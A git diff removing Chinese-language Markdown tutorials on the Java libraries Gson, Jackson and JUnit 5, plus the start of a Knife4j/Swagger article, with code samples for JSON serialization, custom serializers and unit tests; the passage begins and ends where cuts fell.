Type 类型参数的: - -```java -toJson(Object src, Type typeOfSrc); - T fromJson(String json, Type typeOfT); -``` - -这样的话,你在进行泛型的序列化和反序列化时,就可以指定泛型的参数化类型了。 - -```java -Type fooType = new TypeToken>() {}.getType(); -String json = gson.toJson(foo,fooType); -Foo foo1 = gson.fromJson(json, fooType); -Bar bar1 = foo1.get(); -``` - -debug 进入 `toJson()` 方法内部查看的话,就可以看到 foo 的真实类型了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/gson-1c6eac43-6f0b-4a00-ae6c-2db29f911719.png) - -`fromJson()` 在反序列化的时候,和此类似。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/gson-5afe5cd1-4966-4b16-adcb-fc04edfff406.png) - -这样的话,bar1 就可以通过 `foo1.get()` 到了。 - -瞧,我考虑得多周全,女朋友都忍不住夸我了! - -### 05、处理混合类型 - -你知道的,Java 不建议使用混合类型,也就是下面这种情况。 - -```java -List list = new ArrayList(); -list.add("沉默王二"); -list.add(18); -list.add(new Event("gson", "google")); -``` - -Event 的定义如下所示: - -```java -class Event { - private String name; - private String source; - Event(String name, String source) { - this.name = name; - this.source = source; - } -} -``` - -由于 list 没有指定具体的类型,因此它里面可以存放各种类型的数据。这样虽然省事,我女朋友在序列化的时候也没问题,但反序列化的时候就要麻烦多了。 - -```java -Gson gson = new Gson(); -String json = gson.toJson(list); -System.out.println(json); -``` - -输出结果如下所示: - -``` -["沉默王二",18,{"name":"gson","source":"google"}] -``` - -反序列化的时候,就需要花点心思才能拿到 Event 对象。 - -```java -JsonParser parser = new JsonParser(); -JsonArray array = parser.parse(json).getAsJsonArray(); -String message = gson.fromJson(array.get(0), String.class); -int number = gson.fromJson(array.get(1), int.class); -Event event = gson.fromJson(array.get(2), Event.class); -``` - -承认了,JsonParser 是我的前任。希望你不要喷我渣男,真不是我花心,是因为我们性格上有些不太适合。但我们仍然保持着朋友的关系,因为我们谁都没有错,只是代码更加规范了,已经很少有开发者使用混合类型了。 - -### 06、个性化定制 - -考虑到你是一个追求时髦的人,我一直对自己要求很高,力争能够满足你的所有需求。这种高标准的要求,让我女朋友对我是又爱又恨。 - -爱的是,我这种追求完美的态度;恨的是,她有时候力不从心,帮不上忙。 - -使用 `toJson()` 序列化 Java 对象时,返回的 JSON 字符串中没有空格,很紧凑。如果你想要打印更漂亮的 JSON 格式,你需要打电话给一个叫 GsonBuilder 的老板,让他进行一些定制,然后再把复刻版邮寄给你,就像我在**使用指南**中提到的那样。 - -```java -public class Writer { - private int age = 18; - private String name = "沉默王二"; - - public static void main(String[] args) { - Writer writer = new Writer(); - Gson gson = new Gson(); - String json = gson.toJson(writer); - System.out.println(json); - - Gson gson1 = new GsonBuilder().setPrettyPrinting().create(); - String jsonOutput = gson1.toJson(writer); - System.out.println(jsonOutput); - } -} -``` - -来对比一下输出结果: - -``` -{"age":18,"name":"沉默王二"} -{ - "age": 18, - "name": "沉默王二" -} -``` - -通过 `setPrettyPrinting()` 定制后,输出的格式更加层次化、立体化,字段与值之间有空格,每个不同的字段之间也会有换行。 - -之前提到了,默认情况下,我女朋友在序列化的时候会忽略 null 值的字段,如果不想这样的话,同样可以打电话给 GsonBuilder。 - -```java -public class Writer { - private int age = 18; - private String name = null; - - public static void main(String[] args) { - Writer writer = new Writer(); - Gson gson = new Gson(); - String json = gson.toJson(writer); - System.out.println(json); - - Gson gson2 = new GsonBuilder().serializeNulls().create(); - String jsonOutput2 = gson2.toJson(writer); - System.out.println(jsonOutput2); - } -} -``` - -来对比一下输出结果: - -``` -{"age":18} -{"age":18,"name":null} -``` - -通过 `serializeNulls()` 定制后,序列化的时候就不会再忽略 null 值的字段。 - -也许,你在序列化和反序列化的时候想要筛选一些字段,我也考虑到这种需求了,特意为你准备了几种方案,你可以根据自己的口味挑选适合你的。 - -**第一种,通过 Java 修饰符**。 - -你之前也看到了,使用 `transient` 关键字修饰的字段将不会参与序列化和反序列化。同样的,`static` 关键字修饰的字段也不会。如果你想保留这些关键字修饰的字段,可以这样做。 - -保留单种。 - -```java -Gson gson = new GsonBuilder().excludeFieldsWithModifiers(Modifier.TRANSIENT).create(); -``` - -保留多种。 - -```java -Gson gson = new GsonBuilder() - .excludeFieldsWithModifiers(Modifier.STATIC, Modifier.TRANSIENT, Modifier.VOLATILE) - .create(); -``` - -**第二种,通过 `@Expose` 注解**。 - - 要使用 `@Expose` 注解,你需要先这样做: - -```java -Gson gson = new GsonBuilder().excludeFieldsWithoutExposeAnnotation().create(); -``` - -再在需要序列化和反序列化的字段上加上 `@Expose` 注解,如果没加的话,该字段将会被忽略。 - -```java -@Expose -private int age = 18; -``` - -### 07、心声 - -如果你还想了解更多的话,请来参观我的 GitHub 主页: - ->[https://github.com/google/gson](https://github.com/google/gson) - -我会向你坦露我的一切,毫不保留的,除了我和女朋友之间的一些秘密,只为能够帮助到你。 - -如果你觉得我有点用的话,不妨点个赞,留个言,see you。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/jackson.md b/docs/src/gongju/jackson.md deleted file mode 100644 index c2ab9fef63..0000000000 --- a/docs/src/gongju/jackson.md +++ /dev/null @@ -1,566 +0,0 @@ ---- -title: Jackson:GitHub上star数最多的JSON解析库 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -在当今的编程世界里,JSON 已经成为将信息从客户端传输到服务器端的首选协议,可以好不夸张的说,XML 就是那个被拍死在沙滩上的前浪。 - -很不幸的是,JDK 没有 JSON 库,不知道为什么不搞一下。Log4j 的时候,为了竞争,还推出了 java.util.logging,虽然最后也没多少人用。 - - -Java 之所以牛逼,很大的功劳在于它的生态非常完备,JDK 没有 JSON 库,第三方类库有啊,还挺不错,比如说本篇的猪脚——Jackson,GitHub 上标星 6.1k,Spring Boot 的默认 JSON 解析器。 - -怎么证明这一点呢? - -当我们通过 starter 新建一个 Spring Boot 的 Web 项目后,就可以在 Maven 的依赖项中看到 Jackson 的身影。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/jackson-4340975c-e254-4287-88e0-66f73fe88889.png) - -Jackson 有很多优点: - -- 解析大文件的速度比较快; -- 运行时占用的内存比较少,性能更佳; -- API 很灵活,容易进行扩展和定制。 - -Jackson 的核心模块由三部分组成: - -- jackson-core,核心包,提供基于“流模式”解析的相关 API,包括 JsonPaser 和 JsonGenerator。 -- jackson-annotations,注解包,提供标准的注解功能; -- jackson-databind ,数据绑定包,提供基于“对象绑定”解析的相关 API ( ObjectMapper ) 和基于“树模型”解析的相关 API (JsonNode)。 - -### 01、引入 Jackson 依赖 - -要想使用 Jackson,需要在 pom.xml 文件中添加 Jackson 的依赖。 - -``` - - com.fasterxml.jackson.core - jackson-databind - 2.10.1 - -``` - -jackson-databind 依赖于 jackson-core 和 jackson-annotations,所以添加完 jackson-databind 之后,Maven 会自动将 jackson-core 和 jackson-annotations 引入到项目当中。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/jackson-24990211-7a18-44d7-aff0-6ac9e3cf0561.png) - -Maven 之所以讨人喜欢的一点就在这,能偷偷摸摸地帮我们把该做的做了。 - -### 02、使用 ObjectMapper - -Jackson 最常用的 API 就是基于”对象绑定” 的 ObjectMapper,它通过 writeValue 的系列方法将 Java 对象序列化为 JSON,并且可以存储成不同的格式。 - -- `writeValueAsString(Object value)` 方法,将对象存储成字符串 -- `writeValueAsBytes(Object value)` 方法,将对象存储成字节数组 -- `writeValue(File resultFile, Object value)` 方法,将对象存储成文件 - -来看一下存储成字符串的代码示例: - -```java -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.databind.ObjectMapper; - -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/26 - */ -public class Demo { - public static void main(String[] args) throws JsonProcessingException { - Writer wanger = new Writer("沉默王二", 18); - ObjectMapper mapper = new ObjectMapper(); - String jsonString = mapper.writerWithDefaultPrettyPrinter() - .writeValueAsString(wanger); - System.out.println(jsonString); - } -} - -class Writer { - private String name; - private int age; - - public Writer(String name, int age) { - this.name = name; - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } -} -``` - -程序输出结果如下所示: - -``` -{ - "name" : "沉默王二", - "age" : 18 -} -``` - -不是所有的字段都支持序列化和反序列化,需要符合以下规则: - -- 如果字段的修饰符是 public,则该字段可序列化和反序列化(不是标准写法)。 -- 如果字段的修饰符不是 public,但是它的 getter 方法和 setter 方法是 public,则该字段可序列化和反序列化。getter 方法用于序列化,setter 方法用于反序列化。 -- 如果字段只有 public 的 setter 方法,而无 public 的 getter 方 法,则该字段只能用于反序列化。 - -如果想更改默认的序列化和反序列化规则,需要调用 ObjectMapper 的 `setVisibility()` 方法。否则将会抛出 InvalidDefinitionException 异常。 - - -ObjectMapper 通过 readValue 的系列方法从不同的数据源将 JSON 反序列化为 Java 对象。 - -- `readValue(String content, Class valueType)` 方法,将字符串反序列化为 Java 对象 -- `readValue(byte[] src, Class valueType)` 方法,将字节数组反序列化为 Java 对象 -- `readValue(File src, Class valueType)` 方法,将文件反序列化为 Java 对象 - -来看一下将字符串反序列化为 Java 对象的代码示例: - -```java -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.databind.ObjectMapper; - -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/26 - */ -public class Demo { - public static void main(String[] args) throws JsonProcessingException { - ObjectMapper mapper = new ObjectMapper(); - String jsonString = "{\n" + - " \"name\" : \"沉默王二\",\n" + - " \"age\" : 18\n" + - "}"; - Writer deserializedWriter = mapper.readValue(jsonString, Writer.class); - System.out.println(deserializedWriter); - } -} - -class Writer{ - private String name; - private int age; - - // getter/setter - - @Override - public String toString() { - return "Writer{" + - "name='" + name + '\'' + - ", age=" + age + - '}'; - } -} -``` - -程序输出结果如下所示: - -``` -Writer{name='沉默王二', age=18} -``` - -PS:如果反序列化的对象有带参的构造方法,它必须有一个空的默认构造方法,否则将会抛出 `InvalidDefinitionException` 一行。 - -``` -Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.itwanger.jackson.Writer` (no Creators, like default construct, exist): cannot deserialize from Object value (no delegate- or property-based Creator) - at [Source: (String)"{ - "name" : "沉默王二", - "age" : 18 -}"; line: 2, column: 3] - at com.fasterxml.jackson.databind.exc.InvalidDefinitionException.from(InvalidDefinitionException.java:67) - at com.fasterxml.jackson.databind.DeserializationContext.reportBadDefinition(DeserializationContext.java:1589) - at com.fasterxml.jackson.databind.DeserializationContext.handleMissingInstantiator(DeserializationContext.java:1055) - at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.deserializeFromObjectUsingNonDefault(BeanDeserializerBase.java:1297) - at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:326) - at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159) - at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4202) - at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3205) - at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3173) - at com.itwanger.jackson.Demo.main(Demo.java:19) -``` - -Jackson 最常用的 API 就是基于”对象绑定” 的 ObjectMapper, - -ObjectMapper 也可以将 JSON 解析为基于“树模型”的 JsonNode 对象,来看下面的示例。 - -```java -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.ObjectMapper; - -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/26 - */ -public class JsonNodeDemo { - public static void main(String[] args) throws JsonProcessingException { - ObjectMapper mapper = new ObjectMapper(); - String json = "{ \"name\" : \"沉默王二\", \"age\" : 18 }"; - JsonNode jsonNode = mapper.readTree(json); - String name = jsonNode.get("name").asText(); - System.out.println(name); // 沉默王二 - } -} -``` - -借助 TypeReference 可以将 JSON 字符串数组转成泛型 List,来看下面的示例: - -``` -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.core.type.TypeReference; -import com.fasterxml.jackson.databind.ObjectMapper; - -import java.util.List; - -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/26 - */ -public class TypeReferenceDemo { - public static void main(String[] args) throws JsonProcessingException { - ObjectMapper mapper = new ObjectMapper(); - String json = "[{ \"name\" : \"沉默王三\", \"age\" : 18 }, { \"name\" : \"沉默王二\", \"age\" : 19 }]"; - List listAuthor = mapper.readValue(json, new TypeReference>(){}); - System.out.println(listAuthor); - } -} -class Author{ - private String name; - private int age; - - // getter/setter - - // toString -} -``` - -### 03、更高级的配置 - -Jackson 之所以牛掰的一个很重要的因素是可以实现高度灵活的自定义配置。 - -在实际的应用场景中,JSON 中常常会有一些 Java 对象中没有的字段,这时候,如果直接解析的话,会抛出 UnrecognizedPropertyException 异常。 - -下面是一串 JSON 字符串: - -``` -String jsonString = "{\n" + - " \"name\" : \"沉默王二\",\n" + - " \"age\" : 18\n" + - " \"sex\" : \"男\",\n" + - "}"; -``` - -但 Java 对象 Writer 中没有定义 sex 字段: - -```java -class Writer{ - private String name; - private int age; - - // getter/setter -} -``` - -我们来尝试解析一下: - -```java -ObjectMapper mapper = new ObjectMapper(); -Writer deserializedWriter = mapper.readValue(jsonString, Writer.class); -``` - -不出意外,抛出异常了,sex 无法识别。 - -``` -Exception in thread "main" com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "sex" (class com.itwanger.jackson.Writer), not marked as ignorable (2 known properties: "name", "age"]) - at [Source: (String)"{ - "name" : "沉默王二", - "age" : 18, - "sex" : "男" -}"; line: 4, column: 12] (through reference chain: com.itwanger.jackson.Writer["sex"]) -``` - -怎么办呢?可以通过 `configure()` 方法忽略掉这些“无法识别”的字段。 - -```java -mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); -``` - -除此之外,还有其他一些有用的配置信息,来了解一下: - -``` -// 在序列化时忽略值为 null 的属性 -mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); -// 忽略值为默认值的属性 -mapper.setDefaultPropertyInclusion(JsonInclude.Include.NON_DEFAULT); -``` - -### 04、处理日期格式 - -对于日期类型的字段,比如说 java.util.Date,如果不指定格式,序列化后将显示为 long 类型的数据,这种默认格式的可读性很差。 - -``` -{ - "age" : 18, - "birthday" : 1606358621209 -} -``` - -怎么办呢? - -第一种方案,在 getter 上使用 `@JsonFormat` 注解。 - -```java -private Date birthday; - -// GMT+8 是指格林尼治的标准时间,在加上八个小时表示你现在所在时区的时间 -@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") -public Date getBirthday() { - return birthday; -} - -public void setBirthday(Date birthday) { - this.birthday = birthday; -} -``` - -再来看一下结果: - -``` -{ - "age" : 18, - "birthday" : "2020-11-26 03:02:30" -} -``` - -具体代码如下所示: - -```java -ObjectMapper mapper = new ObjectMapper(); -Writer wanger = new Writer("沉默王二", 18); -wanger.setBirthday(new Date()); -String jsonString = mapper.writerWithDefaultPrettyPrinter() - .writeValueAsString(wanger); -System.out.println(jsonString); -``` - -第二种方案,调用 ObjectMapper 的 `setDateFormat()` 方法。 - -```java -ObjectMapper mapper = new ObjectMapper(); -mapper.setDateFormat(StdDateFormat.getDateTimeInstance()); -Writer wanger = new Writer("沉默王二", 18); -wanger.setBirthday(new Date()); -String jsonString = mapper.writerWithDefaultPrettyPrinter() - .writeValueAsString(wanger); -System.out.println(jsonString); -``` - -输出结果如下所示: - -``` -{ - "name" : "沉默王二", - "age" : 18, - "birthday" : "2020年11月26日 上午11:09:51" -} -``` - -### 05、字段过滤 - -在将 Java 对象序列化为 JSON 时,可能有些字段需要过滤,不显示在 JSON 中,Jackson 有一种比较简单的实现方式。 - -@JsonIgnore 用于过滤单个字段。 - -```java -@JsonIgnore -public String getName() { - return name; -} -``` - -@JsonIgnoreProperties 用于过滤多个字段。 - -```java -@JsonIgnoreProperties(value = { "age","birthday" }) -class Writer{ - private String name; - private int age; - private Date birthday; -} -``` - -### 06、自定义序列化和反序列化 - -当 Jackson 默认序列化和反序列化不能满足实际的开发需要时,可以自定义新的序列化和反序列化类。 - -自定义的序列化类需要继承 StdSerializer,同时重写 `serialize()` 方法,利用 JsonGenerator 生成 JSON,示例如下: - -```java -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/26 - */ -public class CustomSerializer extends StdSerializer { - protected CustomSerializer(Class t) { - super(t); - } - - public CustomSerializer() { - this(null); - } - - @Override - public void serialize(Man value, JsonGenerator gen, SerializerProvider provider) throws IOException { - gen.writeStartObject(); - gen.writeStringField("name", value.getName()); - gen.writeEndObject(); - } -} - -class Man{ - private int age; - private String name; - - public Man(int age, String name) { - this.age = age; - this.name = name; - } - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } -} -``` - -定义好自定义序列化类后,要想在程序中调用它们,需要将其注册到 ObjectMapper 的 Module 中,示例如下所示: - -```java -ObjectMapper mapper = new ObjectMapper(); -SimpleModule module = - new SimpleModule("CustomSerializer", new Version(1, 0, 0, null, null, null)); -module.addSerializer(Man.class, new CustomSerializer()); -mapper.registerModule(module); -Man man = new Man( 18,"沉默王二"); -String json = mapper.writeValueAsString(man); -System.out.println(json); -``` - -程序输出结果如下所示: - -``` -{"name":"沉默王二"} -``` - -自定义序列化类 CustomSerializer 中没有添加 age 字段,所以只输出了 name 字段。 - -再来看一下自定义的反序列化类,继承 StdDeserializer,同时重写 `deserialize()` 方法,利用 JsonGenerator 读取 JSON,示例如下: - -```java -public class CustomDeserializer extends StdDeserializer { - protected CustomDeserializer(Class vc) { - super(vc); - } - - public CustomDeserializer() { - this(null); - } - - @Override - public Woman deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException { - JsonNode node = p.getCodec().readTree(p); - Woman woman = new Woman(); - int age = (Integer) ((IntNode) node.get("age")).numberValue(); - String name = node.get("name").asText(); - woman.setAge(age); - woman.setName(name); - return woman; - } -} -class Woman{ - private int age; - private String name; - - public Woman() { - } - - // getter/setter - - @Override - public String toString() { - return "Woman{" + - "age=" + age + - ", name='" + name + '\'' + - '}'; - } -} -``` - -通过 JsonNode 把 JSON 读取到一个树形结构中,然后通过 JsonNode 的 get 方法将对应字段读取出来,然后生成新的 Java 对象,并返回。 - -定义好自定义反序列化类后,要想在程序中调用它们,同样需要将其注册到 ObjectMapper 的 Module 中,示例如下所示: - -```java -ObjectMapper mapper = new ObjectMapper(); -SimpleModule module = - new SimpleModule("CustomDeserializer", new Version(1, 0, 0, null, null, null)); -module.addDeserializer(Woman.class, new CustomDeserializer()); -mapper.registerModule(module); -String json = "{ \"name\" : \"三妹\", \"age\" : 18 }"; -Woman woman = mapper.readValue(json, Woman.class); -System.out.println(woman); -``` - -程序输出结果如下所示: - -``` -Woman{age=18, name='三妹'} -``` - -### 07、结语 - -哎呀,好像不错哦,Jackson 绝对配得上“最牛掰”这三个字,虽然有点虚。如果只想简单的序列化和反序列化,使用 ObjectMapper 的 write 和 read 方法即可。 - -如果还想更进一步的话,就需要对 ObjectMapper 进行一些自定义配置,或者加一些注解,以及直接自定义序列化和反序列化类,更贴近一些 Java 对象。 - -需要注意的是,对日期格式的字段要多加小心,尽量不要使用默认配置,可读性很差。 - -好了,通过这篇文章的系统化介绍,相信你已经完全摸透 Jackson 了,我们下篇文章见。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/junit.md b/docs/src/gongju/junit.md deleted file mode 100644 index d472e52fbb..0000000000 --- a/docs/src/gongju/junit.md +++ /dev/null @@ -1,310 +0,0 @@ ---- -title: Junit:一个开源的Java单元测试框架 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -### 01、前世今生 - -你好呀,我是 JUnit,一个开源的 Java 单元测试框架。在了解我之前,先来了解一下什么是单元测试。单元测试,就是针对最小的功能单元编写测试代码。在 Java 中,最小的功能单元就是方法,因此,对 Java 程序员进行单元测试实际上就是对 Java 方法的测试。 - -为什么要进行单元测试呢?因为单元测试可以确保你编写的代码是符合软件需求和遵循开发规范的。单元测试是所有测试中最底层的一类测试,是第一个环节,也是最重要的一个环节,是唯一一次能够达到代码覆盖率 100% 的测试,是整个软件测试过程的基础和前提。可以这么说,单元测试的性价比是最好的。 - -微软公司之前有这样一个统计:bug 在单元测试阶段被发现的平均耗时是 3.25 小时,如果遗漏到系统测试则需要 11.5 个小时。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-5b0afb32-c60e-4218-98b1-44288705e472.png) - -经我这么一说,你应该已经很清楚单元测试的重要性了。那在你最初编写测试代码的时候,是不是经常这么做?就像下面这样。 - -```java -public class Factorial { - public static long fact(long n) { - long r = 1; - for (long i = 1; i <= n; i++) { - r = r * i; - } - return r; - } - - public static void main(String[] args) { - if (fact(3) == 6) { - System.out.println("通过"); - } else { - System.out.println("失败"); - } - } -} -``` - -要测试 `fact()` 方法正确性,你在 `main()` 方法中编写了一段测试代码。如果你这么做过的话,我只能说你也曾经青涩天真过啊!使用 `main()` 方法来测试有很多坏处,比如说: - -1)测试代码没有和源代码分开。 - -2)不够灵活,很难编写一组通用的测试代码。 - -3)无法自动打印出预期和实际的结果,没办法比对。 - -但如果学会使用我——JUnit 的话,就不会再有这种困扰了。我可以非常简单地组织测试代码,并随时运行它们,还能给出准确的测试报告,让你在最短的时间内发现自己编写的代码到底哪里出了问题。 - -### 02、上手指南 - -好了,既然知道了我这么优秀,那还等什么,直接上手吧!我最新的版本是 JUnit 5,Intellij IDEA 中已经集成了,所以你可以直接在 IDEA 中编写并运行我的测试用例。 - -第一步,直接在当前的代码编辑器窗口中按下 `Command+N` 键(Mac 版),在弹出的菜单中选择「Test...」。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-fe29e8b8-9264-4aa3-9139-6ebb39af88a1.png) - -勾选上要编写测试用例的方法 `fact()`,然后点击「OK」。 - -此时,IDEA 会自动在当前类所在的包下生成一个类名带 Test(惯例)的测试类。如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-756305d6-7166-4737-8665-89d24a1eefae.png) - -如果你是第一次使用我的话,IDEA 会提示你导入我的依赖包。建议你选择最新的 JUnit 5.4。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-91bf986d-3586-4175-9ca2-959e5eb62e9c.png) - -导入完毕后,你可以打开 pom.xml 文件确认一下,里面多了对我的依赖。 - -``` - - org.junit.jupiter - junit-jupiter - RELEASE - compile - -``` - -第二步,在测试方法中添加一组断言,如下所示。 - -```java -@Test -void fact() { - assertEquals(1, Factorial.fact(1)); - assertEquals(2, Factorial.fact(2)); - assertEquals(6, Factorial.fact(3)); - assertEquals(100, Factorial.fact(5)); -} -``` - -`@Test` 注解是我要求的,我会把带有 `@Test` 的方法识别为测试方法。在测试方法内部,你可以使用 `assertEquals()` 对期望的值和实际的值进行比对。 - -第三步,你可以在邮件菜单中选择「Run FactorialTest」来运行测试用例,结果如下所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-7daf1a3d-a321-4d42-9d16-134043161a29.png) - -测试失败了,因为第 20 行的预期结果和实际不符,预期是 100,实际是 120。此时,你要么修正实现代码,要么修正测试代码,直到测试通过为止。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-5b71c36f-684d-4d30-b1a1-faef453603ae.png) - -不难吧?单元测试可以确保单个方法按照正确的预期运行,如果你修改了某个方法的代码,只需确保其对应的单元测试通过,即可认为改动是没有问题的。 - -### 03、瞻前顾后 - -在一个测试用例中,可能要对多个方法进行测试。在测试之前呢,需要准备一些条件,比如说创建对象;在测试完成后呢,需要把这些对象销毁掉以释放资源。如果在多个测试方法中重复这些样板代码又会显得非常啰嗦。 - -这时候,该怎么办呢? - -我为你提供了 `setUp()` 和 `tearDown()`,作为一个文化人,我称之为“瞻前顾后”。来看要测试的代码。 - -```java -public class Calculator { - public int sub(int a, int b) { - return a - b; - } - public int add(int a, int b) { - return a + b; - } -} -``` - -新建测试用例的时候记得勾选`setUp` 和 `tearDown`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/junit-afa3c969-a2d2-439c-b440-5b7480592d52.png) - -生成后的代码如下所示。 - -```java -class CalculatorTest { - Calculator calculator; - - @BeforeEach - void setUp() { - calculator = new Calculator(); - } - - @AfterEach - void tearDown() { - calculator = null; - } - - - @Test - void sub() { - assertEquals(0,calculator.sub(1,1)); - } - - @Test - void add() { - assertEquals(2,calculator.add(1,1)); - } -} -``` - -`@BeforeEach` 的 `setUp()` 方法会在运行每个 `@Test` 方法之前运行;`@AfterEach` 的 `tearDown()` 方法会在运行每个 `@Test` 方法之后运行。 - -与之对应的还有 `@BeforeAll` 和 `@AfterAll`,与 `@BeforeEach` 和 `@AfterEach` 不同的是,All 通常用来初始化和销毁静态变量。 - -```java -public class DatabaseTest { - static Database db; - - @BeforeAll - public static void init() { - db = createDb(...); - } - - @AfterAll - public static void drop() { - ... - } -} -``` - -### 03、异常测试 - -对于 Java 程序来说,异常处理也非常的重要。对于可能抛出的异常进行测试,本身也是测试的一个重要环节。 - -还拿之前的 Factorial 类来进行说明。在 `fact()` 方法的一开始,对参数 n 进行了校验,如果小于 0,则抛出 IllegalArgumentException 异常。 - -```java -public class Factorial { - public static long fact(long n) { - if (n < 0) { - throw new IllegalArgumentException("参数不能小于 0"); - } - long r = 1; - for (long i = 1; i <= n; i++) { - r = r * i; - } - return r; - } -} -``` - -在 FactorialTest 中追加一个测试方法 `factIllegalArgument()`。 - -```java -@Test -void factIllegalArgument() { - assertThrows(IllegalArgumentException.class, new Executable() { - @Override - public void execute() throws Throwable { - Factorial.fact(-2); - } - }); -} -``` - -我为你提供了一个 `assertThrows()` 的方法,第一个参数是异常的类型,第二个参数 Executable,可以封装产生异常的代码。如果觉得匿名内部类写起来比较复杂的话,可以使用 Lambda 表达式。 - -```java -@Test -void factIllegalArgumentLambda() { - assertThrows(IllegalArgumentException.class, () -> { - Factorial.fact(-2); - }); -} -``` - -### 04、忽略测试 - -有时候,由于某些原因,某些方法产生了 bug,需要一段时间去修复,在修复之前,该方法对应的测试用例一直是以失败告终的,为了避免这种情况,我为你提供了 `@Disabled` 注解。 - -```java -class DisabledTestsDemo { - - @Disabled("该测试用例不再执行,直到编号为 43 的 bug 修复掉") - @Test - void testWillBeSkipped() { - } - - @Test - void testWillBeExecuted() { - } - -} -``` - -`@Disabled` 注解也可以不需要说明,但我建议你还是提供一下,简单地说明一下为什么这个测试方法要忽略。在上例中,如果团队的其他成员看到说明就会明白,当编号 43 的 bug 修复后,该测试方法会重新启用的。即便是为了提醒自己,也很有必要,因为时间长了你可能自己就忘了,当初是为什么要忽略这个测试方法的。 - -### 05、条件测试 - -有时候,你可能需要在某些条件下运行测试方法,有些条件下不运行测试方法。针对这场使用场景,我为你提供了条件测试。 - -1)不同的操作系统,可能需要不同的测试用例,比如说 Linux 和 Windows 的路径名是不一样的,通过 `@EnabledOnOs` 注解就可以针对不同的操作系统启用不同的测试用例。 - -```java -@Test -@EnabledOnOs(MAC) -void onlyOnMacOs() { - // ... -} - -@TestOnMac -void testOnMac() { - // ... -} - -@Test -@EnabledOnOs({ LINUX, MAC }) -void onLinuxOrMac() { - // ... -} - -@Test -@DisabledOnOs(WINDOWS) -void notOnWindows() { - // ... -} -``` - -2)不同的 Java 运行环境,可能也需要不同的测试用例。`@EnabledOnJre` 和 `@EnabledForJreRange` 注解就可以满足这个需求。 - -```java -@Test -@EnabledOnJre(JAVA_8) -void onlyOnJava8() { - // ... -} - -@Test -@EnabledOnJre({ JAVA_9, JAVA_10 }) -void onJava9Or10() { - // ... -} - -@Test -@EnabledForJreRange(min = JAVA_9, max = JAVA_11) -void fromJava9to11() { - // ... -} -``` - -### 06、尾声 - -最后,给你说三句心里话吧。在编写单元测试的时候,你最好这样做: - -1)单元测试的代码本身必须非常名单明了,能一下看明白,决不能再为测试代码编写测试代码。 - -2)每个单元测试应该互相独立,不依赖运行时的顺序。 - -3)测试时要特别注意边界条件,比如说 0,`null`,空字符串"" 等情况。 - -希望我能尽早的替你发现代码中的 bug,毕竟越早的发现,造成的损失就会越小。see you! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/knife4j.md b/docs/src/gongju/knife4j.md deleted file mode 100644 index 2ffa9d1599..0000000000 --- a/docs/src/gongju/knife4j.md +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Spring Boot整合Knife4j,美化强化丑陋的Swagger -category: - - Java企业级开发 -tag: - - Spring Boot ---- - - -一般在使用 Spring Boot 开发前后端分离项目的时候,都会用到 [Swagger](https://javabetter.cn/springboot/swagger.html)(戳链接详细了解)。 - -但随着系统功能的不断增加,接口数量的爆炸式增长,Swagger 的使用体验就会变得越来越差,比如请求参数为 JSON 的时候没办法格式化,返回结果没办法折叠,还有就是没有提供搜索功能。 - -今天我们介绍的主角 Knife4j 弥补了这些不足,赋予了 Swagger 更强的生命力和表现力。 - -## 关于 Knife4j - -Knife4j 的前身是 swagger-bootstrap-ui,是 springfox-swagger-ui 的增强 UI 实现。swagger-bootstrap-ui 采用的是前端 UI 混合后端 Java 代码的打包方式,在微服务的场景下显得非常臃肿,改良后的 Knife4j 